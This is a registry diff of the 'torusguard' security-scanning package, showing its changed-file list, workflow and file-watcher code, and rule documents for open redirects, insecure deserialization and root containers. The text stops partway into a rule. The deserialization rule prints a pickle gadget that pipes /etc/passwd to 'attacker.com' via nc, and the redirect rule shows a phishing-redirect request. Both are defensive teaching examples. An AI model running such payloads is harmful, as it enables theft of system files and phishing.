torusguard 2.0.0-alpha → 2.1.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (227) hide show
  1. package/.torusguard/.manifest.json +94 -30
  2. package/.torusguard/core/__init__.py +146 -0
  3. package/.torusguard/core/agent_roles.py +104 -0
  4. package/.torusguard/core/ast_walker.py +283 -0
  5. package/.torusguard/core/authorization.py +218 -0
  6. package/.torusguard/core/browser_verifier.py +128 -0
  7. package/.torusguard/core/bundle.py +141 -0
  8. package/.torusguard/core/call_graph.py +184 -0
  9. package/.torusguard/core/clustering.py +275 -0
  10. package/.torusguard/core/confidence.py +120 -0
  11. package/.torusguard/core/cross_file_taint.py +101 -0
  12. package/.torusguard/core/exploit_checker.py +317 -0
  13. package/.torusguard/core/formatter.py +351 -0
  14. package/.torusguard/core/governance.py +210 -0
  15. package/.torusguard/core/identity.py +104 -0
  16. package/.torusguard/core/import_resolver.py +91 -0
  17. package/.torusguard/core/incremental.py +102 -0
  18. package/.torusguard/core/lifecycle.py +137 -0
  19. package/.torusguard/core/models.py +425 -0
  20. package/.torusguard/core/parallel.py +56 -0
  21. package/.torusguard/core/parser.py +202 -0
  22. package/.torusguard/core/rechecker.py +107 -0
  23. package/.torusguard/core/replay_trace.py +178 -0
  24. package/.torusguard/core/rules_registry.py +131 -0
  25. package/.torusguard/core/run_folder.py +60 -0
  26. package/.torusguard/core/run_manager.py +163 -0
  27. package/.torusguard/core/runtime_evidence.py +175 -0
  28. package/.torusguard/core/runtime_validator.py +246 -0
  29. package/.torusguard/core/safety_gate.py +139 -0
  30. package/.torusguard/core/sarif.py +189 -0
  31. package/.torusguard/core/stack_profiler.py +184 -0
  32. package/.torusguard/core/symbol_table.py +91 -0
  33. package/.torusguard/core/taint.py +133 -0
  34. package/.torusguard/core/taint_graph.py +235 -0
  35. package/.torusguard/core/taint_rules.py +268 -0
  36. package/.torusguard/core/v070_reporter.py +102 -0
  37. package/.torusguard/core/v070_workflow.py +339 -0
  38. package/.torusguard/core/v6_reporter.py +180 -0
  39. package/.torusguard/core/v6_workflow.py +221 -0
  40. package/.torusguard/core/watcher.py +58 -0
  41. package/.torusguard/rules/TG-INPUT-007-unvalidated-redirect.md +53 -0
  42. package/.torusguard/rules/TG-INPUT-008-insecure-deserialization.md +52 -0
  43. package/.torusguard/rules/container/TG-CONT-001-root-user-execution.md +50 -0
  44. package/.torusguard/rules/container/TG-CONT-002-docker-socket-mount.md +47 -0
  45. package/.torusguard/rules/container/TG-CONT-003-privileged-container-mode.md +53 -0
  46. package/.torusguard/rules/container/TG-CONT-004-build-arg-secret-exposure.md +43 -0
  47. package/.torusguard/rules/git/TG-GIT-001-historical-secret-in-git-commit.md +44 -0
  48. package/.torusguard/rules/git/TG-GIT-002-plaintext-credentials-in-git-config.md +41 -0
  49. package/.torusguard/rules/git/TG-GIT-003-sensitive-tracked-file-gitignore-breach.md +40 -0
  50. package/.torusguard/rules/rag/TG-RAG-001-untrusted-rag-context-injection.md +72 -0
  51. package/.torusguard/rules/rag/TG-RAG-002-autonomous-llm-tool-unsandboxed-call.md +51 -0
  52. package/.torusguard/rules/rag/TG-RAG-003-unpartitioned-vector-tenant-lookup.md +51 -0
  53. package/.torusguard/rules/redos/TG-REDOS-001-catastrophic-exponential-backtracking.md +46 -0
  54. package/.torusguard/rules/redos/TG-REDOS-002-unbounded-nested-quantifier.md +43 -0
  55. package/.torusguard/rules_catalog.json +96 -0
  56. package/.torusguard/scripts/__pycache__/audit_runner.cpython-314.pyc +0 -0
  57. package/.torusguard/scripts/__pycache__/finding_scorer.cpython-314.pyc +0 -0
  58. package/.torusguard/scripts/__pycache__/manifest_builder.cpython-314.pyc +0 -0
  59. package/.torusguard/scripts/__pycache__/rules_sync.cpython-314.pyc +0 -0
  60. package/.torusguard/scripts/audit_runner.py +108 -10
  61. package/.torusguard/scripts/finding_scorer.py +43 -13
  62. package/.torusguard/scripts/manifest_builder.py +1 -1
  63. package/.torusguard/scripts/skill_profiler.py +26 -0
  64. package/.torusguard/skills/torusguard/SKILL.md +74 -25
  65. package/.torusguard/skills/torusguard/bootstrap.py +57 -24
  66. package/.torusguard/skills/torusguard-ai-guard/SKILL.md +95 -0
  67. package/.torusguard/skills/torusguard-apply/SKILL.md +60 -34
  68. package/.torusguard/skills/torusguard-audit/SKILL.md +131 -57
  69. package/.torusguard/skills/torusguard-authorize/SKILL.md +48 -6
  70. package/.torusguard/skills/torusguard-container/SKILL.md +94 -0
  71. package/.torusguard/skills/torusguard-exploit-check/SKILL.md +50 -6
  72. package/.torusguard/skills/torusguard-full/SKILL.md +62 -19
  73. package/.torusguard/skills/torusguard-git-mine/SKILL.md +92 -0
  74. package/.torusguard/skills/torusguard-harden/SKILL.md +81 -50
  75. package/.torusguard/skills/torusguard-init/SKILL.md +61 -14
  76. package/.torusguard/skills/torusguard-ocr-scan/SKILL.md +94 -0
  77. package/.torusguard/skills/torusguard-recheck/SKILL.md +71 -18
  78. package/.torusguard/skills/torusguard-redos/SKILL.md +91 -0
  79. package/.torusguard/skills/torusguard-report/SKILL.md +50 -9
  80. package/.torusguard/skills/torusguard-status/SKILL.md +63 -10
  81. package/.torusguard/skills/torusguard-verify/SKILL.md +52 -10
  82. package/.torusguard/skills/torusguard-web-validate/SKILL.md +53 -8
  83. package/.torusguard/workflows/ai-guard.md +31 -0
  84. package/.torusguard/workflows/apply.md +32 -55
  85. package/.torusguard/workflows/audit.md +35 -49
  86. package/.torusguard/workflows/authorize.md +27 -50
  87. package/.torusguard/workflows/container.md +29 -0
  88. package/.torusguard/workflows/exploit-check.md +28 -50
  89. package/.torusguard/workflows/git-mine.md +25 -0
  90. package/.torusguard/workflows/harden.md +29 -48
  91. package/.torusguard/workflows/init.md +27 -50
  92. package/.torusguard/workflows/memory.md +18 -23
  93. package/.torusguard/workflows/ocr-scan.md +25 -0
  94. package/.torusguard/workflows/recheck.md +28 -46
  95. package/.torusguard/workflows/redos.md +27 -0
  96. package/.torusguard/workflows/report.md +33 -52
  97. package/.torusguard/workflows/status.md +31 -52
  98. package/.torusguard/workflows/verify.md +29 -49
  99. package/.torusguard/workflows/web-validate.md +22 -45
  100. package/README.md +96 -60
  101. package/package.json +7 -2
  102. package/skills/torusguard/SKILL.md +75 -24
  103. package/skills/torusguard/__pycache__/bootstrap.cpython-314.pyc +0 -0
  104. package/skills/torusguard/bootstrap.py +60 -71
  105. package/skills/torusguard/payload/.manifest.json +94 -31
  106. package/skills/torusguard/payload/core/__init__.py +146 -0
  107. package/skills/torusguard/payload/core/agent_roles.py +104 -0
  108. package/skills/torusguard/payload/core/ast_walker.py +283 -0
  109. package/skills/torusguard/payload/core/authorization.py +218 -0
  110. package/skills/torusguard/payload/core/browser_verifier.py +128 -0
  111. package/skills/torusguard/payload/core/bundle.py +141 -0
  112. package/skills/torusguard/payload/core/call_graph.py +184 -0
  113. package/skills/torusguard/payload/core/clustering.py +275 -0
  114. package/skills/torusguard/payload/core/confidence.py +120 -0
  115. package/skills/torusguard/payload/core/cross_file_taint.py +101 -0
  116. package/skills/torusguard/payload/core/exploit_checker.py +317 -0
  117. package/skills/torusguard/payload/core/formatter.py +351 -0
  118. package/skills/torusguard/payload/core/governance.py +210 -0
  119. package/skills/torusguard/payload/core/identity.py +104 -0
  120. package/skills/torusguard/payload/core/import_resolver.py +91 -0
  121. package/skills/torusguard/payload/core/incremental.py +102 -0
  122. package/skills/torusguard/payload/core/lifecycle.py +137 -0
  123. package/skills/torusguard/payload/core/models.py +425 -0
  124. package/skills/torusguard/payload/core/parallel.py +56 -0
  125. package/skills/torusguard/payload/core/parser.py +202 -0
  126. package/skills/torusguard/payload/core/rechecker.py +107 -0
  127. package/skills/torusguard/payload/core/replay_trace.py +178 -0
  128. package/skills/torusguard/payload/core/rules_registry.py +131 -0
  129. package/skills/torusguard/payload/core/run_folder.py +60 -0
  130. package/skills/torusguard/payload/core/run_manager.py +163 -0
  131. package/skills/torusguard/payload/core/runtime_evidence.py +175 -0
  132. package/skills/torusguard/payload/core/runtime_validator.py +246 -0
  133. package/skills/torusguard/payload/core/safety_gate.py +139 -0
  134. package/skills/torusguard/payload/core/sarif.py +189 -0
  135. package/skills/torusguard/payload/core/stack_profiler.py +184 -0
  136. package/skills/torusguard/payload/core/symbol_table.py +91 -0
  137. package/skills/torusguard/payload/core/taint.py +133 -0
  138. package/skills/torusguard/payload/core/taint_graph.py +235 -0
  139. package/skills/torusguard/payload/core/taint_rules.py +268 -0
  140. package/skills/torusguard/payload/core/v070_reporter.py +102 -0
  141. package/skills/torusguard/payload/core/v070_workflow.py +339 -0
  142. package/skills/torusguard/payload/core/v6_reporter.py +180 -0
  143. package/skills/torusguard/payload/core/v6_workflow.py +221 -0
  144. package/skills/torusguard/payload/core/watcher.py +58 -0
  145. package/skills/torusguard/payload/rules/TG-INPUT-007-unvalidated-redirect.md +53 -0
  146. package/skills/torusguard/payload/rules/TG-INPUT-008-insecure-deserialization.md +52 -0
  147. package/skills/torusguard/payload/rules/container/TG-CONT-001-root-user-execution.md +50 -0
  148. package/skills/torusguard/payload/rules/container/TG-CONT-002-docker-socket-mount.md +47 -0
  149. package/skills/torusguard/payload/rules/container/TG-CONT-003-privileged-container-mode.md +53 -0
  150. package/skills/torusguard/payload/rules/container/TG-CONT-004-build-arg-secret-exposure.md +43 -0
  151. package/skills/torusguard/payload/rules/git/TG-GIT-001-historical-secret-in-git-commit.md +44 -0
  152. package/skills/torusguard/payload/rules/git/TG-GIT-002-plaintext-credentials-in-git-config.md +41 -0
  153. package/skills/torusguard/payload/rules/git/TG-GIT-003-sensitive-tracked-file-gitignore-breach.md +40 -0
  154. package/skills/torusguard/payload/rules/rag/TG-RAG-001-untrusted-rag-context-injection.md +72 -0
  155. package/skills/torusguard/payload/rules/rag/TG-RAG-002-autonomous-llm-tool-unsandboxed-call.md +51 -0
  156. package/skills/torusguard/payload/rules/rag/TG-RAG-003-unpartitioned-vector-tenant-lookup.md +51 -0
  157. package/skills/torusguard/payload/rules/redos/TG-REDOS-001-catastrophic-exponential-backtracking.md +46 -0
  158. package/skills/torusguard/payload/rules/redos/TG-REDOS-002-unbounded-nested-quantifier.md +43 -0
  159. package/skills/torusguard/payload/rules_catalog.json +338 -518
  160. package/skills/torusguard/payload/scripts/__pycache__/term_ui.cpython-314.pyc +0 -0
  161. package/skills/torusguard/payload/scripts/audit_runner.py +108 -10
  162. package/skills/torusguard/payload/scripts/finding_scorer.py +43 -13
  163. package/skills/torusguard/payload/scripts/manifest_builder.py +1 -1
  164. package/skills/torusguard/payload/skills/torusguard/SKILL.md +74 -25
  165. package/skills/torusguard/payload/skills/torusguard/bootstrap.py +57 -24
  166. package/skills/torusguard/payload/skills/torusguard/references/csharp-security.md +41 -41
  167. package/skills/torusguard/payload/skills/torusguard/references/go-security.md +41 -41
  168. package/skills/torusguard/payload/skills/torusguard/references/java-security.md +40 -40
  169. package/skills/torusguard/payload/skills/torusguard/references/polyglot-security-matrix.md +25 -25
  170. package/skills/torusguard/payload/skills/torusguard/references/rust-security.md +40 -40
  171. package/skills/torusguard/payload/skills/torusguard-ai-guard/SKILL.md +95 -0
  172. package/skills/torusguard/payload/skills/torusguard-apply/SKILL.md +60 -34
  173. package/skills/torusguard/payload/skills/torusguard-audit/SKILL.md +131 -57
  174. package/skills/torusguard/payload/skills/torusguard-authorize/SKILL.md +48 -6
  175. package/skills/torusguard/payload/skills/torusguard-container/SKILL.md +94 -0
  176. package/skills/torusguard/payload/skills/torusguard-exploit-check/SKILL.md +50 -6
  177. package/skills/torusguard/payload/skills/torusguard-full/SKILL.md +62 -19
  178. package/skills/torusguard/payload/skills/torusguard-git-mine/SKILL.md +92 -0
  179. package/skills/torusguard/payload/skills/torusguard-harden/SKILL.md +81 -50
  180. package/skills/torusguard/payload/skills/torusguard-init/SKILL.md +61 -14
  181. package/skills/torusguard/payload/skills/torusguard-ocr-scan/SKILL.md +94 -0
  182. package/skills/torusguard/payload/skills/torusguard-recheck/SKILL.md +71 -18
  183. package/skills/torusguard/payload/skills/torusguard-redos/SKILL.md +91 -0
  184. package/skills/torusguard/payload/skills/torusguard-report/SKILL.md +50 -9
  185. package/skills/torusguard/payload/skills/torusguard-status/SKILL.md +63 -10
  186. package/skills/torusguard/payload/skills/torusguard-verify/SKILL.md +52 -10
  187. package/skills/torusguard/payload/skills/torusguard-web-validate/SKILL.md +53 -8
  188. package/skills/torusguard/payload/workflows/ai-guard.md +31 -0
  189. package/skills/torusguard/payload/workflows/apply.md +31 -62
  190. package/skills/torusguard/payload/workflows/audit.md +35 -55
  191. package/skills/torusguard/payload/workflows/authorize.md +27 -50
  192. package/skills/torusguard/payload/workflows/container.md +29 -0
  193. package/skills/torusguard/payload/workflows/exploit-check.md +28 -50
  194. package/skills/torusguard/payload/workflows/git-mine.md +25 -0
  195. package/skills/torusguard/payload/workflows/harden.md +28 -52
  196. package/skills/torusguard/payload/workflows/init.md +27 -56
  197. package/skills/torusguard/payload/workflows/memory.md +18 -23
  198. package/skills/torusguard/payload/workflows/ocr-scan.md +25 -0
  199. package/skills/torusguard/payload/workflows/recheck.md +28 -46
  200. package/skills/torusguard/payload/workflows/redos.md +27 -0
  201. package/skills/torusguard/payload/workflows/report.md +39 -62
  202. package/skills/torusguard/payload/workflows/status.md +31 -55
  203. package/skills/torusguard/payload/workflows/torusguard-audit.md +35 -55
  204. package/skills/torusguard/payload/workflows/verify.md +29 -49
  205. package/skills/torusguard/payload/workflows/web-validate.md +22 -45
  206. package/skills/torusguard/references/csharp-security.md +41 -0
  207. package/skills/torusguard/references/go-security.md +41 -0
  208. package/skills/torusguard/references/java-security.md +40 -0
  209. package/skills/torusguard/references/polyglot-security-matrix.md +25 -0
  210. package/skills/torusguard/references/rust-security.md +40 -0
  211. package/skills/torusguard-ai-guard/SKILL.md +95 -0
  212. package/skills/torusguard-apply/SKILL.md +60 -34
  213. package/skills/torusguard-audit/SKILL.md +130 -57
  214. package/skills/torusguard-authorize/SKILL.md +48 -6
  215. package/skills/torusguard-container/SKILL.md +94 -0
  216. package/skills/torusguard-exploit-check/SKILL.md +50 -6
  217. package/skills/torusguard-full/SKILL.md +62 -19
  218. package/skills/torusguard-git-mine/SKILL.md +92 -0
  219. package/skills/torusguard-harden/SKILL.md +81 -50
  220. package/skills/torusguard-init/SKILL.md +61 -14
  221. package/skills/torusguard-ocr-scan/SKILL.md +94 -0
  222. package/skills/torusguard-recheck/SKILL.md +71 -18
  223. package/skills/torusguard-redos/SKILL.md +91 -0
  224. package/skills/torusguard-report/SKILL.md +50 -9
  225. package/skills/torusguard-status/SKILL.md +63 -10
  226. package/skills/torusguard-verify/SKILL.md +52 -10
  227. package/skills/torusguard-web-validate/SKILL.md +53 -8
@@ -0,0 +1,221 @@
1
+ """
2
+ TorusGuard v6 Governed Remediation Workflow Controller
3
+ Coordinates the complete v6 workflow:
4
+ 1. Scan & Stable Finding Identity
5
+ 2. Root-Cause Clustering
6
+ 3. Structured Remediation Bundles
7
+ 4. Minimal Patch Governance
8
+ 5. Targeted Recheck & Regression Verification
9
+ 6. Run Folder Artifact Emission & SARIF Export
10
+ """
11
+
12
+ from pathlib import Path
13
+ from typing import List, Dict, Any, Optional, Tuple
14
+
15
+ from core.identity import IdentityEngine
16
+ from core.clustering import ClusteringEngine, RootCauseCluster
17
+ from core.bundle import BundleManager, RemediationBundle
18
+ from core.governance import PatchGovernor, PatchPolicyDecision
19
+ from core.rechecker import TargetedRechecker, TargetedRecheckResult, RecheckOutcome
20
+ from core.run_manager import RunManager
21
+ from core.sarif import SarifExporter
22
+ from core.v6_reporter import V6Reporter
23
+
24
+
25
+ class V6Workflow:
26
+ """
27
+ Unified controller for TorusGuard v6 governed remediation and recheck operations.
28
+ """
29
+
30
+ def __init__(self, target_root: Optional[Path] = None, output_base: Optional[Path] = None):
31
+ self.target_root = target_root or Path(".")
32
+ self.output_base = output_base or Path(".torusguard/runs")
33
+
34
+ def execute_audit(
35
+ self,
36
+ raw_findings: List[Dict[str, Any]],
37
+ target_name: str = "workspace",
38
+ run_id: Optional[str] = None,
39
+ export_sarif: bool = True,
40
+ ) -> RunManager:
41
+ """
42
+ Executes Phase 1 & 2: Identifies stable fingerprints, clusters root causes, and emits run artifacts.
43
+ """
44
+ run_mgr = RunManager(
45
+ base_dir=self.output_base,
46
+ target_name=target_name,
47
+ command="audit",
48
+ run_id=run_id,
49
+ )
50
+
51
+ # 1. Attach Stable Finding Identifiers
52
+ enriched_findings = []
53
+ evidence_list = []
54
+
55
+ for f in raw_findings:
56
+ rule_id = f.get("rule_id", "TG-GENERIC")
57
+ target = f.get("target", {})
58
+ file_path = target.get("file_path", "unknown")
59
+ snippet = f.get("evidence", {}).get("code_snippet", "")
60
+ sink = f.get("sink_signature")
61
+ framework = f.get("framework_marker")
62
+
63
+ fp = IdentityEngine.generate_identity(
64
+ rule_id=rule_id,
65
+ file_path=file_path,
66
+ code_snippet=snippet,
67
+ sink_signature=sink,
68
+ framework_marker=framework,
69
+ root_path=self.target_root,
70
+ )
71
+
72
+ item = dict(f)
73
+ item["finding_id"] = fp.fingerprint_id
74
+ item["fingerprint_id"] = fp.fingerprint_id
75
+ item["region_hash"] = fp.region_hash
76
+ enriched_findings.append(item)
77
+
78
+ evidence_list.append({
79
+ "finding_id": fp.fingerprint_id,
80
+ "rule_id": rule_id,
81
+ "file_path": file_path,
82
+ "region_hash": fp.region_hash,
83
+ "code_snippet": snippet,
84
+ })
85
+
86
+ # 2. Cluster Findings by Root Cause
87
+ clusters = ClusteringEngine.cluster_findings(enriched_findings)
88
+ cluster_map = {c.primary_rule: c.cluster_id for c in clusters}
89
+
90
+ for ef in enriched_findings:
91
+ ef["cluster_id"] = cluster_map.get(ef.get("rule_id"), "cluster-general")
92
+
93
+ # 3. Render and Write Standard Artifacts
94
+ summary_md = V6Reporter.render_summary(
95
+ target_name=target_name,
96
+ run_id=run_mgr.run_id,
97
+ findings=enriched_findings,
98
+ clusters=clusters,
99
+ )
100
+ findings_md = V6Reporter.render_findings(enriched_findings)
101
+
102
+ run_mgr.write_summary(summary_md)
103
+ run_mgr.write_findings(findings_md)
104
+ run_mgr.write_evidence(evidence_list)
105
+
106
+ # 4. Optional SARIF export
107
+ if export_sarif:
108
+ sarif_dict = SarifExporter.generate_sarif(
109
+ findings=enriched_findings,
110
+ clusters=[c.to_dict() for c in clusters],
111
+ )
112
+ run_mgr.write_sarif(sarif_dict)
113
+
114
+ # 5. Write Run Manifest
115
+ status_counts = {
116
+ "total_findings": len(enriched_findings),
117
+ "confirmed": sum(1 for f in enriched_findings if f.get("confidence_band") == "Confirmed"),
118
+ "high_confidence": sum(1 for f in enriched_findings if f.get("confidence_band") == "High Confidence"),
119
+ "needs_review": sum(1 for f in enriched_findings if f.get("confidence_band") == "Needs Review"),
120
+ "remediated": 0,
121
+ "verified_fixed": 0,
122
+ "regressed": 0,
123
+ }
124
+ run_mgr.write_manifest(status_counts=status_counts)
125
+
126
+ return run_mgr
127
+
128
+ def execute_harden(
129
+ self,
130
+ run_mgr: RunManager,
131
+ findings: List[Dict[str, Any]],
132
+ ) -> List[RemediationBundle]:
133
+ """
134
+ Executes Phase 3: Generates structured remediation bundles.
135
+ """
136
+ bundles = []
137
+ for f in findings:
138
+ b = BundleManager.create_bundle(f, cluster_id=f.get("cluster_id"))
139
+ b.write_to_directory(run_mgr.bundles_dir)
140
+ bundles.append(b)
141
+
142
+ remediation_md = V6Reporter.render_remediation(bundles)
143
+ run_mgr.write_remediation(remediation_md)
144
+ return bundles
145
+
146
+ def execute_apply(
147
+ self,
148
+ run_mgr: RunManager,
149
+ bundles: List[RemediationBundle],
150
+ governor: Optional[PatchGovernor] = None,
151
+ ) -> List[Tuple[str, PatchPolicyDecision]]:
152
+ """
153
+ Executes Phase 4: Evaluates minimal patch governance policies and plans application.
154
+ """
155
+ gov = governor or PatchGovernor()
156
+ decisions = []
157
+ changed_files = set()
158
+ diff_summary_lines = ["# TorusGuard v6 Unified Diff Summary\n"]
159
+
160
+ for b in bundles:
161
+ target_f = b.target_files[0] if b.target_files else "app.py"
162
+ decision = gov.evaluate_diff(b.proposed_diff, target_file=target_f)
163
+ decisions.append((b.finding_id, decision))
164
+
165
+ if decision.allowed_auto_apply:
166
+ changed_files.update(decision.file_list)
167
+ diff_summary_lines.append(f"## Applied Patch: `{b.finding_id}` (`{target_f}`)")
168
+ diff_summary_lines.append("```diff")
169
+ diff_summary_lines.append(b.proposed_diff.strip())
170
+ diff_summary_lines.append("```\n")
171
+
172
+ apply_plan_md = V6Reporter.render_apply_plan(decisions)
173
+ run_mgr.write_apply_plan(apply_plan_md)
174
+ run_mgr.write_diff_summary("\n".join(diff_summary_lines))
175
+ run_mgr.write_changed_files(list(changed_files))
176
+
177
+ return decisions
178
+
179
+ def execute_recheck(
180
+ self,
181
+ run_mgr: RunManager,
182
+ recheck_scenarios: List[Dict[str, Any]],
183
+ ) -> List[TargetedRecheckResult]:
184
+ """
185
+ Executes Phase 5: Targeted differential rechecks of impacted files.
186
+ """
187
+ results = []
188
+ for sc in recheck_scenarios:
189
+ r = TargetedRechecker.verify_finding(
190
+ finding_id=sc.get("finding_id", "fnd-01"),
191
+ rule_id=sc.get("rule_id", "TG-GENERIC"),
192
+ target_file=sc.get("target_file", "app.py"),
193
+ original_code_snippet=sc.get("orig_snippet", ""),
194
+ post_fix_code_snippet=sc.get("post_snippet", ""),
195
+ is_safe_pattern_present=sc.get("is_safe", True),
196
+ is_unsafe_pattern_present=sc.get("is_unsafe", False),
197
+ introduced_new_flaws=sc.get("regressions"),
198
+ requires_manual_context=sc.get("manual_context", False),
199
+ )
200
+ results.append(r)
201
+
202
+ recheck_md = V6Reporter.render_recheck(results)
203
+ run_mgr.write_recheck(recheck_md)
204
+
205
+ # Update Manifest counts
206
+ fixed_count = sum(1 for r in results if r.outcome == RecheckOutcome.CONFIRMED_FIXED)
207
+ regressed_count = sum(1 for r in results if r.outcome == RecheckOutcome.REGRESSED)
208
+
209
+ run_mgr.write_manifest(
210
+ status_counts={
211
+ "total_findings": len(results),
212
+ "confirmed": 0,
213
+ "high_confidence": 0,
214
+ "needs_review": sum(1 for r in results if r.outcome == RecheckOutcome.NEEDS_MANUAL_REVIEW),
215
+ "remediated": fixed_count,
216
+ "verified_fixed": fixed_count,
217
+ "regressed": regressed_count,
218
+ }
219
+ )
220
+
221
+ return results
@@ -0,0 +1,58 @@
1
+ """
2
+ TorusGuard Continuous File Watcher
3
+ Monitors target workspace files for changes, debounces filesystem events,
4
+ and triggers continuous differential security re-scans.
5
+ """
6
+
7
+ from pathlib import Path
8
+ from typing import Dict, List, Set, Callable, Optional
9
+ import time
10
+
11
+
12
+ class FileWatcher:
13
+ """Lightweight polling and mtime watcher with debouncing."""
14
+
15
+ def __init__(self, target_root: Path, check_interval_sec: float = 0.5):
16
+ self.target_root = target_root.resolve()
17
+ self.interval = check_interval_sec
18
+ self.file_mtimes: Dict[str, float] = {}
19
+
20
+ def get_snapshot(self, extensions: Optional[Set[str]] = None) -> Dict[str, float]:
21
+ exts = extensions or {".py", ".js", ".ts", ".tsx", ".go", ".rs", ".java", ".php", ".rb", ".cs"}
22
+ snapshot: Dict[str, float] = {}
23
+ try:
24
+ for p in self.target_root.rglob("*"):
25
+ if p.is_file() and p.suffix.lower() in exts:
26
+ if ".git" in p.parts or "node_modules" in p.parts or ".torusguard" in p.parts:
27
+ continue
28
+ try:
29
+ snapshot[str(p)] = p.stat().st_mtime
30
+ except Exception:
31
+ pass
32
+ except Exception:
33
+ pass
34
+ return snapshot
35
+
36
+ def watch(
37
+ self,
38
+ on_change_callback: Callable[[List[str]], None],
39
+ stop_condition: Optional[Callable[[], bool]] = None
40
+ ) -> None:
41
+ """Polls for file modifications and triggers `on_change_callback`."""
42
+ self.file_mtimes = self.get_snapshot()
43
+
44
+ while True:
45
+ if stop_condition and stop_condition():
46
+ break
47
+
48
+ time.sleep(self.interval)
49
+ current_snapshot = self.get_snapshot()
50
+
51
+ changed_files: List[str] = []
52
+ for path_str, mtime in current_snapshot.items():
53
+ if path_str not in self.file_mtimes or self.file_mtimes[path_str] != mtime:
54
+ changed_files.append(path_str)
55
+
56
+ if changed_files:
57
+ self.file_mtimes = current_snapshot
58
+ on_change_callback(changed_files)
@@ -0,0 +1,53 @@
1
+ ---
2
+ id: TG-INPUT-007
3
+ title: Unvalidated URL Redirection (Open Redirect)
4
+ category: input-validation
5
+ severity: Medium
6
+ confidence: High
7
+ frameworks:
8
+ - django
9
+ - flask
10
+ - fastapi
11
+ - express
12
+ - nextjs
13
+ cwe: CWE-601
14
+ asvs_v4: V5.1.5
15
+ nist_ssdf: PW.5.1
16
+ ---
17
+
18
+ # TG-INPUT-007: Unvalidated URL Redirection (Open Redirect)
19
+
20
+ ## 🚨 Problem Statement
21
+ Passing unvalidated or untrusted user input directly into HTTP redirect responses (`redirect()`, `res.redirect()`, `header('Location: ...')`) enables Open Redirect vulnerabilities. Attackers use trusted domains to trick users into phishing sites or OAuth credential harvesting portals.
22
+
23
+ ---
24
+
25
+ ## 💥 Adversarial Threat & Exploitation
26
+ An attacker generates a legitimate-looking link:
27
+ ```http
28
+ GET /login?next=https://evil-phishing.com/account HTTP/1.1
29
+ Host: secure-bank.com
30
+ ```
31
+ If the server performs `return redirect(request.GET.get('next'))`, the user is seamlessly forwarded to the malicious domain after authentication.
32
+
33
+ ---
34
+
35
+ ## 🛠️ Framework-Native Remediations
36
+
37
+ ### 🐍 Django / Flask
38
+ #### ❌ Unsafe Pattern
39
+ ```python
40
+ return redirect(request.GET.get("next"))
41
+ ```
42
+
43
+ #### ✅ Safe Remediation
44
+ ```python
45
+ from urllib.parse import urlparse, urljoin
46
+ from django.utils.http import url_has_allowed_host_and_scheme
47
+
48
+ def safe_redirect(request):
49
+ next_url = request.GET.get("next", "/")
50
+ if url_has_allowed_host_and_scheme(next_url, allowed_hosts={request.get_host()}):
51
+ return redirect(next_url)
52
+ return redirect("/")
53
+ ```
@@ -0,0 +1,52 @@
1
+ ---
2
+ id: TG-INPUT-008
3
+ title: Insecure Object Deserialization
4
+ category: input-validation
5
+ severity: Critical
6
+ confidence: Confirmed
7
+ frameworks:
8
+ - django
9
+ - flask
10
+ - fastapi
11
+ - stdlib
12
+ cwe: CWE-502
13
+ asvs_v4: V5.5.1
14
+ nist_ssdf: PW.5.1
15
+ ---
16
+
17
+ # TG-INPUT-008: Insecure Object Deserialization
18
+
19
+ ## 🚨 Problem Statement
20
+ Deserializing untrusted data with formats that support code execution (`pickle.loads`, `yaml.load` without `SafeLoader`, `marshal`, `shelve`) allows remote attackers to execute arbitrary code via object instantiation hooks like `__reduce__`.
21
+
22
+ ---
23
+
24
+ ## 💥 Adversarial Threat & Exploitation
25
+ An attacker submits a pickled payload containing a crafted gadget:
26
+ ```python
27
+ class Exploit(object):
28
+ def __reduce__(self):
29
+ return (os.system, ('cat /etc/passwd | nc attacker.com 4444',))
30
+ ```
31
+ When `pickle.loads(untrusted_bytes)` runs, the arbitrary system command is immediately executed.
32
+
33
+ ---
34
+
35
+ ## 🛠️ Framework-Native Remediations
36
+
37
+ ### 🐍 Python
38
+ #### ❌ Unsafe Pattern
39
+ ```python
40
+ data = pickle.loads(request.body)
41
+ config = yaml.load(user_upload, Loader=yaml.Loader)
42
+ ```
43
+
44
+ #### ✅ Safe Remediation
45
+ ```python
46
+ import json
47
+ import yaml
48
+
49
+ # Safe: Standard structured serialization formats
50
+ data = json.loads(request.body)
51
+ config = yaml.safe_load(user_upload)
52
+ ```
@@ -0,0 +1,50 @@
1
+ # TG-CONT-001: Root User Execution in Container
2
+
3
+ ## Severity
4
+ High. Running container processes as root increases the blast radius of any remote code execution (RCE) flaw, enabling container breakout and host compromise.
5
+
6
+ ## Applies To
7
+ - `Dockerfile`, `Dockerfile.*`, `Containerfile`
8
+ - Docker Compose (`docker-compose.yml`, `compose.yaml`)
9
+ - Kubernetes PodSpecs
10
+
11
+ ## Why It Matters
12
+ By default, Docker executes container entrypoints as the `root` user (UID 0). If an application vulnerability (e.g., path traversal, command injection, or memory corruption) is exploited, the attacker immediately possesses root privileges within the container, facilitating kernel exploits, namespace escapes, and host file access.
13
+
14
+ ## What TorusGuard Looks For
15
+ 1. Dockerfiles lacking an explicit non-root `USER <user>` directive.
16
+ 2. Explicit `USER root` or `USER 0` declarations without dropping privileges.
17
+ 3. Compose services declaring `user: "0"` or `user: "root"`.
18
+
19
+ ## Unsafe Example
20
+ ```dockerfile
21
+ # UNSAFE: No USER declared; runs as root
22
+ FROM node:20-alpine
23
+ WORKDIR /app
24
+ COPY package*.json ./
25
+ RUN npm install
26
+ COPY . .
27
+ CMD ["node", "server.js"]
28
+ ```
29
+
30
+ ## Safe Example
31
+ ```dockerfile
32
+ # SAFE: Dedicated unprivileged non-root user
33
+ FROM node:20-alpine
34
+ WORKDIR /app
35
+ COPY package*.json ./
36
+ RUN npm install
37
+ COPY . .
38
+ RUN addgroup -S appgroup && adduser -S appuser -G appgroup
39
+ USER appuser
40
+ CMD ["node", "server.js"]
41
+ ```
42
+
43
+ ## Remediation
44
+ 1. Declare a non-privileged user and group (`USER appuser` or `USER 10001:10001`).
45
+ 2. Ensure file permissions allow the non-root user to read necessary application files.
46
+ 3. In Compose files, set `user: "10001:10001"`.
47
+
48
+ ## Related Rules
49
+ - `TG-CONT-002`: Dangerous Docker Socket Mount
50
+ - `TG-CONT-003`: Privileged Container Mode
@@ -0,0 +1,47 @@
1
+ # TG-CONT-002: Dangerous Docker Socket Mount
2
+
3
+ ## Severity
4
